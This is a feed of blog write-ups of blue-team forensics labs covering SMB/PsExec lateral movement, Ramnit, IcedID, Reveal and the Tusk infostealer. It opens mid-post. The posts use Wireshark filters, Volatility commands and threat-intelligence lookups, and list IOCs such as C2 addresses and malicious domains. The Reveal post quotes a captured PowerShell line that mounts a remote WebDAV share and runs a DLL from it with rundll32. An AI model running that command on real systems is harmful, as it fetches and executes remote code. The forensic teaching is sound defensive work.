attacked went from 10.0.0.130 to 10.0.0.133 . So we’re tasked with finding the Hostname of the device that has a source IP of 10.0.0.133 .</p><p>Use filter ip.src==10.0.0.133 and (smb or smb2)</p><p>Based on the result, we’re looking for <strong>Session Setup Request </strong>or <strong>Negotiate Protocol Response</strong></p><p>The reason why is because.<br><strong>Session Setup Request</strong></p><ul><li>The <strong>Session Setup Request</strong> is part of the process where a client authenticates to an SMB server. It contains important details about the user and the session being initiated.</li><li>This packet is where the client typically establishes the <strong>user credentials</strong> for accessing shared resources, and sometimes it contains information about the <strong>client machine</strong> (NetBIOS name, domain, etc.). In some cases, if the client machine’s name or other identifying information is sent during the authentication process, this can be useful for determining the origin of the connection.</li></ul><p><strong>Negotiate Protocol Response</strong></p><ul><li>The <strong>Negotiate Protocol Response</strong> packet is part of the initial SMB handshake process where the client and server agree on the version of the SMB protocol to use for communication.</li><li>This packet doesn’t usually carry a lot of direct data about file shares, but it can contain <strong>metadata</strong> about the server’s capabilities, and sometimes it might include the <strong>server’s name</strong>, <strong>domain</strong>, or <strong>NetBIOS information</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TnNVe2iVLX0mF88zeehu7g.png" /></figure><p>The hostname is SALES-PC</p><p>After identifying the initial entry point, it’s crucial to understand how far the attacker has moved laterally within our network. Knowing the username of the account the attacker used for authentication will give us insights into the extent of the breach</p><p><strong>SMB and Authentication Process</strong>:</p><ul><li>When using SMB (Server Message Block), the authentication process follows these steps:</li><li><strong>Negotiate Protocol Request</strong>: Establishes SMB communication.</li><li><strong>Session Setup Request</strong>: Begins authentication using protocols like NTLM (NT LAN Manager).</li><li><strong>NTLMSSP_NEGOTIATE</strong>: Negotiates NTLM authentication capabilities.</li><li><strong>NTLMSSP_CHALLENGE</strong>: The server challenges the client with a cryptographic task (proof of identity). If this step returns STATUS_MORE_PROCESSING_REQUIRED, it means the username is successfully presented, but further steps (like the password hash verification) are required.</li></ul><p>The NTLMSSP_CHALLENGE packet contains metadata about the session, including the <strong>username</strong> under the Session ID field. This is how the server identifies the user attempting to authenticate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V38KSa5Lwqg1b6Zq5C77aQ.png" /></figure><p>The victime username is ssales</p><p>After figuring out how the attacker moved within our network, we need to know what they did on the target machine. What’s the name of the service executable the attacker set up on the target</p><p>Apply the following filter:</p><pre>smb2.cmd == 5</pre><p>This focuses on SMB <strong>Write Request</strong> packets, often used to transfer files to a target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KHaB-KDcjMCsSqj567rh_w.png" /></figure><p>it shows us the executable file is PSEXESVC.</p><p>We need to know how the attacker installed the service on the compromised machine to understand the attacker’s lateral movement tactics. This can help identify other affected systems. so find Which network share was used by PsExec to install the service on the target machine</p><p>When PsExec is used, it typically leverages <strong>network shares</strong> to copy its service executable (PSEXESVC.exe in this case) to the target system. Identifying the share will reveal how the attacker moved and may indicate other affected systems if the same tactic was used elsewhere.</p><p>Apply this filter:</p><pre>smb2.cmd == 3</pre><p>These packets are used to connect to shared resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x6K4WlCKcMsgyx7NJm4ZoA.png" /></figure><p>As we can see from the image above, the attacker installed the services using <strong><em>ADMIN$</em></strong></p><p>We must identify the network share used to communicate between the two machines. If welook at packet 134, from the image of the previous analysis, we would see IPC$ and that is it.</p><h4>Why IPC$ is the Network Share</h4><p><strong>Purpose of </strong><strong>IPC$</strong>:</p><ul><li>IPC$ stands for <strong>Inter-Process Communication</strong> and is a special share in Windows used for communication between systems.</li><li>It doesn’t store files but facilitates administrative tasks and service management, making it essential for tools like PsExec.</li><li>PsExec uses IPC$ to establish and maintain remote connections for issuing commands and managing services.</li></ul><p><strong>PsExec’s Use of </strong><strong>IPC$</strong>:</p><ul><li>After copying the service executable to the target (via ADMIN$ or another share), PsExec establishes a control channel through IPC$ to:</li><li>Start or stop the service.</li><li>Execute commands remotely.</li></ul><p>Now that we have a clearer picture of the attacker’s activities on the compromised machine, it’s important to identify any further lateral movement. To catch further lateral movement, we filtered for traffic from the attacker’s IP (10.0.0.130) to other hosts:</p><pre>19 2023/284 00:37:58.580105328 10.0.0.131 → 224.0.0.252 LLMNR 72 Standard query 0x611b ANY Marketing-PC</pre><p>This LLMNR query for Marketing-PC suggests the attacker was enumerating or targeting this host. Although the source IP (10.0.0.131) differs, it likely indicates a typo or a secondary compromised system, with 10.0.0.130 as the primary attacker IP. We confirmed no SMB traffic to 10.0.0.131, but the LLMNR query points to Marketing-PC as the next pivot target.</p><p><strong>We’ve traced the attacker’s every move with forensic precision. Thankyou</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fabd4f437479" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Ramnit Lab]]></title>
            <link>https://medium.com/@mohammadshamil225/ramnit-lab-21114f132a98?source=rss-effe651bdde6------2</link>
            <guid isPermaLink="false">https://medium.com/p/21114f132a98</guid>
            <dc:creator><![CDATA[Mohammad shamil]]></dc:creator>
            <pubDate>Mon, 19 Oct 2026 03:34:06 GMT</pubDate>
            <atom:updated>2026-10-19T03:34:06.571Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*_j2lHYjhG8cE8YNaQ_K58g.png" /></figure><h4>Objective:</h4><p>Analyze a memory dump using Volatility to identify a malicious process, extract network IOCs, file hash, and compilation timestamp, correlating with external threat intelligence.</p><h4>Scenario:</h4><p>Our intrusion detection system has alerted us to suspicious behavior on a workstation, pointing to a likely malware intrusion. A memory dump of this system has been taken for analysis. Your task is to analyze this dump, trace the malware’s actions, and report key findings.</p><h4>Tools:</h4><ul><li>Volatility 3</li><li>VirusTotal</li></ul><h4>Procedure:</h4><p>We need to identify the process responsible for this suspicious behavior.our first task is to understand what processes were running on the victim’s system when the memory dump was taken during the incident. We’ll accomplish this by leveraging <em>Volatility’s </em><a href="https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pslist">windows.pslist</a><em> </em>plugin to scan the image and list the running processes on the system using the syntax below:</p><pre>vol3 -f memory.dmp windows.pslist</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePODSuRDyYrfZZwgIZoTHw.png" /></figure><p>At first glance, everything seems normal for virtualized <em>Windows</em> system, doesn’t it? The exception is one process looks a little suspicious: a <strong><em>ChromeSetup.exe</em></strong> is running when the capture was taken. Since the <em>intrusion detection system</em> (IDS) alerted on suspected malware execution, let’s start by investigating this process and make a note of the <strong><em>process ID</em></strong> <em>(PID)</em> too</p><p>To eradicate the malware, we need to find exact file path of the process executable. Now that we have uncovered the malicious executable, let’s find out more about it by determining its file path on the victim’s device.</p><p>Back in <em>Volatility,</em> we’ll use the<em> </em>windows.cmdline<em> </em>plugin this time which allows us to view not only the process <em>command line arguments</em> but also the <em>executable file path</em> of the process.</p><p>To make it easier, let’s use<strong> </strong><em>grep</em><strong><em> </em></strong>to show us only the results with the <em>process ID</em> (<em>PID)</em> of <em>ChromeSetup.exe. </em>We’ll find this information in the<em> pslist </em>output from</p><pre>vol3 -f memory.dmp windows.cmdline | grep 4628</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*k7-EEoMWpqFgYo518eSfGQ.png" /></figure><p>The executable is in the victim’s <em>Downloads </em>folder. It appears that the victim was searching for the <em>Google Chrome </em>browser, encountered a malicious link, and inadvertently downloaded and executed the malware on their system.</p><p>identifying network connections is crucial for understanding the malware’s communication strategy. so we need to find which IP address it attempted to connect to.Continuing with the malware analysis, we need to identify any network connections the malware made to find the <em>second stage</em> or <em>command and control</em> <em>(C2)</em> server.</p><p>For this part, we’ll use <em>Volatility’s</em><strong><em> </em></strong><a href="https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan">windows.netscan</a><em> </em>plugin to scan the network artifacts in the image. Using <em>grep </em>again, we’ll filter the results to only show those matching the malicious <em>PID.</em></p><pre>vol3 -f memory.dmp windows.netscan | grep 4628</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A46zqogv1rKhpnCM_eC6WA.png" /></figure><p>Once we run the command, the table reveals that the malware is communicating with an external <em>IP address</em> seen in the <em>ForeignAddr </em>column. This is the<em> IP address </em>of the <em>command and control (C2) </em>server that we’re looking for</p><p>To pinpoint the geographical origin of the attack, We need to find which city is associated with the IP address the malware communicated with.Now that we’ve discovered the malware infrastructure’s <em>IP address</em>, we’ll pivot and gather <strong><em>geolocation</em></strong> intelligence about it. For a higher degree of confidence, let’s check a couple of <strong><em>geolocation services</em> </strong>since the location data results can vary depending on the method the database provider uses to determine the location.Starting with<a href="https://www.virustotal.com/"> <strong><em>VirusTotal</em></strong></a>, we can tentatively determine that the <em>IP address</em> is located in Hong Kong.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*POmJjJy0_X3PzVxOAPBl-Q.png" /></figure><p>Next, we need to find the <em>SHA1 hash </em>of the malware executable so that we can gather more intelligence and perform further analysis to understand its impact.The first step to obtain the <em>file hash</em> is to extract the executable from the memory dump. For this, we can leverage <em>Volatility’s </em><a href="https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dumpfiles">windows.dumpfiles</a><em> </em>plugin to dump file contents from the image. Use the syntax below, specifying an output directory for the dump and the <em>PID </em>of the <em>ChromeSetup.exe </em>process we.</p><pre>vol3 -f memory.dmp -o &lt;YOUR OUTPUT DIRECTORY&gt; windows.dumpfiles --pid 4628</pre><p>As the process completes, check the <em>terminal </em>output for the files that are being dumped to confirm that <em>ChromeSetup.exe </em>was extracted and note the corresponding file name on the right side (<em>file.0xca82b85325a0… ).</em></p><p>Now, we can list the contents of the output directory to confirm that the extraction was successful. Finally, use the <em>sha1sum </em>command to calculate hash of the executable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*exRWIUHjnWS8a0OJL9xMfg.png" /></figure><p>Submitting the <em>hash </em>to<em> VirusTotal </em>confirms that this file is malicious and detected by most scanning engines on the platform<em>. </em>Since we already have the <em>VirusTotal </em>report for the malware open, we can use the existing analysis results on the platform to check the <strong><em>Creation Time</em></strong> value from the <strong><em>Details</em></strong><em> </em>tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuqfvzkoyjviIDTsSSrLEg.png" /></figure><p>Identifying domains involved with this malware helps in blocking future malicious communications and identifying current possible communications with that domain in our network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TF_yRwvg8Kh7WKwbbWm0KQ.png" /></figure><p>Between the <em>IP address</em>, <em>SHA1 hash</em>, and <em>domain,</em> we have a comprehensive list of <em>indicators of compromise </em>(<em>IOCs</em>) that we can use to hunt for the malware in the environment and block it. Let’s submit the final answer and wrap this investigation!</p><h4>Conclusion:</h4><p>With the help of <em>Volatility, </em>we successfully identified the malicious process, hunted for the malware path and file hash, and uncovered the<em> IP addresses </em>and <em>domains the malware communicates with. </em>With the objectives completed and a comprehensive list if <em>IOCs </em>in-hand, let’s close out this walkthrough of the <a href="https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/"><strong>Ramnit Lab</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21114f132a98" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[IcedID Lab]]></title>
            <link>https://medium.com/@mohammadshamil225/icedid-lab-af33a436a35e?source=rss-effe651bdde6------2</link>
            <guid isPermaLink="false">https://medium.com/p/af33a436a35e</guid>
            <dc:creator><![CDATA[Mohammad shamil]]></dc:creator>
            <pubDate>Sat, 17 Oct 2026 06:34:46 GMT</pubDate>
            <atom:updated>2026-10-17T06:34:46.822Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*Y9BE0Xvq5TCxgzmxKLolEw.png" /></figure><h4>Objective:</h4><p>Investigate IcedID malware using VirusTotal and threat intelligence platforms to identify IOCs, associated threat actors, and execution mechanisms.</p><h4>Scenario:</h4><p>A cyber threat group was identified for initiating widespread phishing campaigns to distribute further malicious payloads. The most frequently encountered payloads were IcedID. You have been given a hash of an IcedID sample to analyze and monitor the activities of this advanced persistent threat (APT) group.</p><h4>Step By Step Procedure:</h4><ul><li><strong>Malware Identification:</strong> Leveraging OSINT and Threat Intelligence platforms to identify the sample.</li><li><strong>Execution Mechanisms:</strong> Understanding how the malware infects a system and its multi-stage delivery process.</li><li><strong>Infrastructure Analysis:</strong> Pinpointing Command and Control (C2) domains and malicious IP addresses.</li><li><strong>Attribution:</strong> Mapping the tactics used to specific Threat Actors and the MITRE ATT&amp;CK framework.</li></ul><p><strong>Our Mission:</strong> As a Security Analyst, your goal is to analyze a provided artifact (SHA-1 Hash), extract actionable Indicators of Compromise (IOCs), and answer key questions that would help an organization defend against such an Advanced Persistent Threat (APT).</p><h4>Initial Analysis (The Artifact):</h4><p>Every investigation starts with a “shred” of evidence. In this lab, the only artifact provided is a cryptographic hash, which acts as the malware’s digital fingerprint.</p><ul><li><strong>File Name:</strong> hash.txt</li><li><strong>Hash (SHA-1):</strong> 191eda0c539d284b29efe556abb05cd75a9077a0</li></ul><p>By using this hash, we can pivot into global threat databases to reconstruct the attack chain without needing to execute the malware in a local sandbox initially.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K0tuuSaDFmoWSWBTLYT-Cg.png" /></figure><h4>Tools:</h4><ul><li><strong>VirusTotal:</strong> For multi-engine detection, history, and behavioral reports.</li><li><strong>Hybrid Analysis / Any.Run:</strong> To view interactive sandbox execution and process trees.</li><li><strong>Abuse.ch (MalwareBazaar / URLHaus):</strong> To verify if the IOCs are linked to known IcedID campaigns.</li><li><strong>MITRE ATT&amp;CK Framework:</strong> To categorize the techniques used for persistence and discovery.</li><li><strong>CyberChef:</strong> (If needed) for decoding any obfuscated strings or URLs found during the analysis.</li></ul><h4>Procedure:</h4><ol><li>Search for the SHA-1 hash 191eda0c539d284b29efe556abb05cd75a9077a0 on <a href="https://www.virustotal.com/">VirusTotal</a>.</li><li>Navigate to the <strong>“Details”</strong> tab.</li><li>Scroll down to the <strong>“Names”</strong> section. This section lists the filenames that were used when this sample was submitted to the platform.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*1luRCDiD1hkyj3kO4rhIPw.png" /></figure><p>document-1982481273.xlsm The file appears to be a malicious Excel spreadsheet. Attackers often use randomly generated numbers in filenames to make them look like legitimate automated system exports or invoices. Among the listed names, we find the specific artifact name used in this campaign.</p><p>According to the behavioral report, the malware drops several files into the inetcache directory. Interestingly, these files carry a 3003.gif , but their internal type is identified as <strong>PE_EXE</strong> (Portable Executable). This is a classic evasion technique where the malware masquerades its malicious executable as a common image file to avoid detection by simple security filters. As seen in the logs, the file name consistently appears as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*RRL2lUAo_njaIGqAiziPgw.png" /></figure><p>The malware is designed with redundancy in mind. If one download server is taken down, it has a list of other domains to try. By analyzing the dynamic analysis logs, we found that the malware specifically targeted multiple domains to fetch the 3003.gif payload. There is about<strong> 5 </strong>domains toatally.</p><p>As shown in the image below from the <strong>Dynamic Analysis Sandbox Detections</strong>, several sandboxes like <strong>Zenbox</strong> and <strong>VMRay</strong> flagged this behavior. The malware attempted to communicate with:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*ZvElHScAvB4i2hbyxSgugw.png" /></figure><p>By pivoting to the infrastructure details of the identified domains, we can see a clear pattern in the threat actor’s procurement process. For instance, the domain tajushariya.com, which was flagged by multiple security vendors as malicious, was registered through a specific entity. As shown in the provided screenshot from VirusTotal, the registrar is explicitly listed. This information is vital for attributing infrastructure and understanding the service providers that may be inadvertently hosting APT components.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d8RrDa2rFkv6WIh3Xfazfw.png" /></figure><ul><li><strong>Target Domain:</strong> tajushariya.com</li><li><strong>Evidence:</strong> The VirusTotal summary page confirms the registrar.</li></ul><pre>https://attack.mitre.org/software/S0483/</pre><p>The analysis of the tactics, techniques, and procedures (TTPs) used in this lab — such as the use of malicious macro-enabled Excel files and masquerading payloads as image files — points to a specific financially motivated threat actor. While many vendors track this group as <strong>TA551</strong>, the specific designation used in this context, often associated with researchers from Secureworks, is <strong>Gold Cabin</strong>. This group is notorious for its sophisticated social engineering and wide-scale distribution of banking trojans and ransomware loaders.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VVxUcnPde6e2n_o7U6zd0w.png" /></figure><p>In advanced malware analysis, general reports might not reveal specific API calls hidden within obfuscated code. We utilized the <strong>Tria.ge</strong> sandbox for several technical reasons:</p><pre>https://tria.ge/210330-gbdr6k9jxx</pre><ol><li><strong>Automated Config Extraction:</strong> Tria.ge excels at “unpacking” the malware’s memory to reveal hardcoded configurations that are invisible during static analysis.</li><li><strong>API Call Monitoring:</strong> The platform provides a granular view of every interaction between the malware and the Windows Operating System (Windows API Calls).</li><li><strong>Source Correlation:</strong> By examining the “Source” field within the Malware Config section, we can directly link the malicious macro’s activity to the specific function responsible for the “Download &amp; Execute” behavior.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EIaSudZZxYQkspq23YoWFQ.png" /></figure><p><strong>Technical Analysis:</strong> The IcedID initial stage utilizes a malicious VBA Macro. Since a macro cannot natively download files, it imports a powerful Windows function: <strong>URLDownloadToFileA</strong>.</p><ul><li>The <strong>“A”</strong> suffix stands for <strong>ANSI</strong>, representing the character encoding used by the function.</li><li>This function is a favorite among threat actors because it simplifies the attack chain; it handles both the network connection to the URL and the local saving of the payload (the 3003.gif file) in a single command, reducing the malware&#39;s footprint.</li></ul><h4>Summary: Key Findings:</h4><p>After conducting a thorough investigation of the provided IcedID sample, here is a summary of the critical artifacts and intelligence gathered:</p><ul><li><strong>Malware Family:</strong> IcedID (also known as BokBot).</li><li><strong>Threat Actor:</strong> <strong>GOLD CABIN</strong> (tracked as TA551 / Shathak).</li><li><strong>Initial Vector:</strong> Malicious Microsoft Excel Macro-Enabled Worksheet (.xlsm).</li><li><strong>Evasion Technique:</strong> <strong>Masquerading</strong> (renaming a Portable Executable/DLL as a .gif file to bypass security filters).</li><li><strong>Infrastructure:</strong> The actor utilized <strong>5 distinct domains</strong> for redundancy, predominantly registered through <strong>NameCheap, Inc.</strong></li><li><strong>Primary Execution API:</strong> URLDownloadToFileA (used by the macro to fetch the second-stage payload).</li></ul><h4>Conclusion:</h4><p>By leveraging <strong>Threat Intelligence</strong> platforms like <strong>VirusTotal</strong> and high-fidelity sandboxes like <strong>Tria.ge</strong>, we were able to identify the specific Windows APIs (URLDownloadToFileA) and network patterns used by <strong>GOLD CABIN</strong>. This systematic approach is essential for any Blue Teamer to effectively detect, respond to, and mitigate Advanced Persistent Threats (APTs) in an enterprise environment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af33a436a35e" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Reveal Lab]]></title>
            <link>https://medium.com/@mohammadshamil225/reveal-lab-c1f16978459e?source=rss-effe651bdde6------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1f16978459e</guid>
            <dc:creator><![CDATA[Mohammad shamil]]></dc:creator>
            <pubDate>Sat, 17 Oct 2026 05:57:05 GMT</pubDate>
            <atom:updated>2026-10-17T05:57:05.649Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*zQPTG2tWfmpeMNLmZw-wKA.png" /></figure><h4>Objective:</h4><p>Reconstruct a multi-stage attack by analyzing Windows memory dumps using Volatility 3, identifying malicious processes, command lines, and correlating findings with threat intelligence.</p><h4>Scenario:</h4><p>You are a forensic investigator at a financial institution, and your SIEM flagged unusual activity on a workstation with access to sensitive financial data. Suspecting a breach, you received a memory dump from the compromised machine. Your task is to analyze the memory for signs of compromise, trace the anomaly’s origin, and assess its scope to contain the incident effectively.</p><h4>Tools:</h4><ul><li><strong>Volatility3</strong></li></ul><h4>Procedure:</h4><p>Before analyzing the memory dump, <strong>L</strong>et’s first gather basic system profile information. To do this, we will running this command:</p><pre>python3 vol.py -f /path/to/192-Reveal.dmp windows.info</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bcE4_5BPzL8Tp3x30iSGnw.png" /></figure><p>This helps validate the image and guides us through the rest of our investigation.</p><p>Moving forward,</p><p>In order to determine what process is malicious, we will be running the command below:</p><pre>python3 vol.py -f /path/to/192-Reveal.dmp windows.malware.malfind.Malfind</pre><p>Below, we notice that <strong>powershell </strong>comes up a few times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zBbcLqN4ftfKa5Q8n1iJlQ.png" /></figure><p>Identifying the name of the malicious process helps in understanding the nature of the attack. powershell is the name of the malicious process.</p><p>Knowing the parent process ID (PPID) of the malicious process aids in tracing the process hierarchy and understanding the attack flow.</p><p>To determine the parent process ID (PPID) of the malicious process, we can use the following command:</p><pre>python3 vol.py -f /path/to/192-Reveal.dmp windows.pslist | grep 3692</pre><p>The <strong>pslist </strong>plugin<strong> </strong>gives us a<strong> </strong>listing of processes in a nice structured readable format. We are also using the PID mapped to powershell to determine its parent PID .Parent PID is 4120.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*seUb4O4soXgc-NLSo66rqg.png" /></figure><p>Determining the file name used by the malware for executing the second-stage payload is crucial for identifying subsequent malicious activities. we want to find What is the file name that the malware uses to execute the second-stage payload and also What is the name of the shared directory being accessed on the remote server.</p><p>To understand how the attacker maintains persistence or escalates their activity, we need to determine what file the malware uses to launch the second-stage payload.</p><p>In this case, we’re specifically examining the <strong>PowerShell </strong>process (PID 3692) to extract the command-line arguments it was launched with.</p><p>We can do this by running the following command:</p><pre>python3 vol.py -f /path/to/192-Reveal.dmp windows.cmdline.CmdLine | grep 3692</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eTdybLy1cQZq0JKUHM_atQ.png" /></figure><h4>Quick Breakdown:</h4><ul><li><strong>-windowstyle hidden</strong>: Runs the command in the background, hiding execution from the user.</li><li><strong>net use \\</strong>45[.]9[.]74[.]32@8888<strong>\davwwwroot\</strong>: Attempts to connect and mount a remote share from a suspicious IP address.</li><li><strong>;</strong> : Separator used to chain commands. This allows execution of multiple instructions in one line.</li><li><strong>rundll32 \\45[.]9[.]74[.]32@8888\davwwwroot\3435.dll,entry</strong>: Executes the second-stage payload directly from the mounted remote location using rundll32 (used for loading and executing Dynamic Link Libraries (DLLs) in Windows)</li></ul><p>With the information gathered, we can directly find the sub-technique ID by navigating to <strong>ATT&amp;CK MITRE</strong>:</p><pre>https://attack.mitre.org/techniques/T1218/011</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oN6WuIHofhyTTfC_LAv_uw.png" /></figure><p>To identify the user account the malicious process is running under, we can run the following command:</p><pre>python3 vol.py -f /path/to/192-Reveal.dmp windows.getsids.GetSIDs | grep 3692</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NfUPYf54D-Lmb2TH1dU4A.png" /></figure><p>Knowing the name of the malware family is essential for correlating the attack with known threats and developing appropriate defenses.Pivoting<strong> </strong>back to the earlier discovery<strong> </strong>, where the command line revealed a connection attempt to:</p><pre>45[.]9[.]74[.]32@8888</pre><p>Let’s navigate to VirusTotal, and submit the IP address in the search bar.<br>Here, we can see what malware family the IPv4 address corresponds to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p59p4F-2uJyuymrzcVLe1g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1f16978459e" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Tusk Infostealer Lab]]></title>
            <link>https://medium.com/@mohammadshamil225/tusk-infostealer-lab-534cdfa4edc9?source=rss-effe651bdde6------2</link>
            <guid isPermaLink="false">https://medium.com/p/534cdfa4edc9</guid>
            <dc:creator><![CDATA[Mohammad shamil]]></dc:creator>
            <pubDate>Fri, 16 Oct 2026 05:59:24 GMT</pubDate>
            <atom:updated>2026-10-16T05:59:24.225Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*lW09Ee3xF3HtkfA_mYZtxQ.png" /></figure><h4>Objective:</h4><p>Analyze threat intelligence and malware configuration to identify TTPs, extract IOCs, and track cryptocurrency flow of the Tusk Infostealer campaign.</p><h4>Scenario:</h4><p>A blockchain development company detected unusual activity when an employee was redirected to an unfamiliar website while accessing a DAO management platform. Soon after, multiple cryptocurrency wallets linked to the organization were drained. Investigators suspect a malicious tool was used to steal credentials and exfiltrate funds.</p><p>Anlyst task is to analyze the provided intelligence to uncover the attack methods, identify indicators of compromise, and track the threat actor’s infrastructure.</p><h4>The threat actors showed sophistication:</h4><ul><li>Social engineering with fake websites.</li><li>Multistage malware delivery hosted on Dropbox.</li><li>Configuration files with base64-encoded URLs.</li><li>C2 communication to steal system data, browser credentials, and cryptocurrency wallets.</li></ul><h4><strong>Tools:</strong></h4><ul><li>Kaspersky Threat intelligence platform</li><li>Threat Intelligence Report</li></ul><h4>Procedure:</h4><p>The malicious executable delivered in the TidyMe campaign was analyzed, and its size was reported in kilobytes. It is about 921.36 KB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RgH1s6n5eyj52y2g95dYeg.png" /></figure><p>There have a a good article that gives a full analysis about Tusk Infostealer it Talk about almost all the attacker terminology in infostealer and it procedure doned</p><pre>https://securelist.com/tusk-infostealers-campaign/113367/</pre><p><em>In C2 log messages, operators used the term </em><strong><em>Mammoth</em></strong><em> to describe victims — a reference to the ancient hunted creature.</em><strong>word</strong> do the threat actors use in log messages to describe their victims, based on the name of an ancient hunted creature . the creature is <strong>M<em>ammoth</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*94Tiy1m38gQjAnJ5EhAtZg.png" /></figure><p>The threat actor set up a malicious website to mimic a platform designed for creating and managing decentralized autonomous organizations (DAOs) on the MultiversX blockchain (<strong>peerme.io</strong>). the name of the malicious website the attacker created to simulate this platform <strong>tidyme.io</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*5xxLO3Opr4AidRFkMH1Ziw.png" /></figure><p>The cloud storage service did the campaign operators use to host malware samples for both macOS and Windows OS versions is Dropbox. The malicious executable contains a configuration file that includes base64-encoded URLs and a password used for archived data decompression, enabling the download of second-stage payloads. the password for decompression found in this configuration file is <strong>newfile2024</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*vw0G9EhDRHLSwHMtjNEO8Q.png" /></figure><p>name of the function responsible for retrieving the field archive from the configuration file is <strong>downloadAndExtractArchive</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*Dx0rRggjQmT5x6uhX2AGRg.png" /></figure><p>In the third sub-campaign carried out by the operators, the attacker mimicked an AI translator project. the name of the legitimate translator is yous.ai and the name of the malicious translator created by the attackers is voico.io.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*tQyvtffMMsp8c8VfFphwmA.png" /></figure><p>The downloader is tasked with delivering additional malware samples to the victim’s machine, primarily infostealers like StealC and Danabot. the IP addresses of the <strong>StealC C2 servers </strong>used in the campaign is<strong> 46.8.238.240, 23.94.225.177</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*cfv12AUArRDjHP9IfO2pbA.png" /></figure><p>Finally the address of the Ethereum cryptocurrency wallet used in this campaign <strong>0xaf0362e215Ff4e004F30e785e822F7E20b99723A</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*Wv4fdly2twuzW1H_QfEtDQ.png" /></figure><h4>Key Takeaways:</h4><ul><li><strong>Mimicry tactics:</strong> Threat actors rebrand legitimate sites with minimal changes (peerme → tidyme, yous → voico) to increase credibility.</li><li><strong>Cloud abuse:</strong> Hosting malware on trusted services (Dropbox) bypasses many detections.</li><li><strong>Modular loaders:</strong> Use of <strong>HijackLoader</strong> for stealth, process injection, and persistence.</li><li><strong>Victim profiling:</strong> “Mammoth” terminology highlights a dehumanizing view of targets.</li><li><strong>Financial motivation:</strong> Ethereum and BTC wallets confirmed their end goal was monetary theft.</li></ul><p>This campaign showcases the evolving nature of <strong>infostealer ecosystems</strong> and the importance of combining <strong>OSINT, CTI, and malware reverse engineering</strong> in modern incident response.</p><h4><strong>Reference</strong>:</h4><ul><li><a href="https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/">https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/</a></li><li><a href="https://securelist.com/tusk-infostealers-campaign/113367/">https://securelist.com/tusk-infostealers-campaign/113367/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=534cdfa4edc9" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Red Stealer Lab]]></title>
            <link>https://medium.com/@mohammadshamil225/red-stealer-lab-7e7249048fcc?source=rss-effe651bdde6------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e7249048fcc</guid>
            <dc:creator><![CDATA[Mohammad shamil]]></dc:creator>
            <pubDate>Fri, 16 Oct 2026 05:15:29 GMT</pubDate>
            <atom:updated>2026-10-16T05:16:07.197Z</atom:updated>
